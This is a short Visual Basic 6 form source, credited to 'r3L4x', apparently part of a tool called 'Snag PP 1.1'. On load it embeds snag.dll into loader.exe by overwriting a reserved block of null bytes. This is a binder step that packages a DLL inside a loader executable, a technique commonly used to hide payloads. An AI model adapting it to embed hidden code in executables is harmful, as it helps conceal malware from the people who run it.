VERSION 5.00
Begin VB.Form Form1 
   Caption         =   "Form1"
   ClientHeight    =   3090
   ClientLeft      =   60
   ClientTop       =   450
   ClientWidth     =   4680
   LinkTopic       =   "Form1"
   ScaleHeight     =   3090
   ScaleWidth      =   4680
   StartUpPosition =   3  'Windows Default
End
Attribute VB_Name = "Form1"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
'/**********************************
'Snag PP 1.1 source by r3L4x
'this was downloaded from r3L4x.com!
'Go there to get tons of other
'source codes to things i have made
'***********************************/
'I just use this bit of code to put
'the snag dll inside the loaders exe

Private Sub Form_Load()
Dim s As String
Dim snag As String
Dim snag2 As String
s = String(6144, Chr(0))
Open App.Path & "\snag.dll" For Binary As #1
snag = Space(LOF(1))
Get #1, , snag
Close
Open App.Path & "\loader.exe" For Binary As #1
snag2 = Space(LOF(1))
Get #1, , snag2
Close
snag2 = Replace(snag2, s, snag)
Open App.Path & "\loader.exe" For Binary As #1
Put #1, , snag2
Close
End Sub
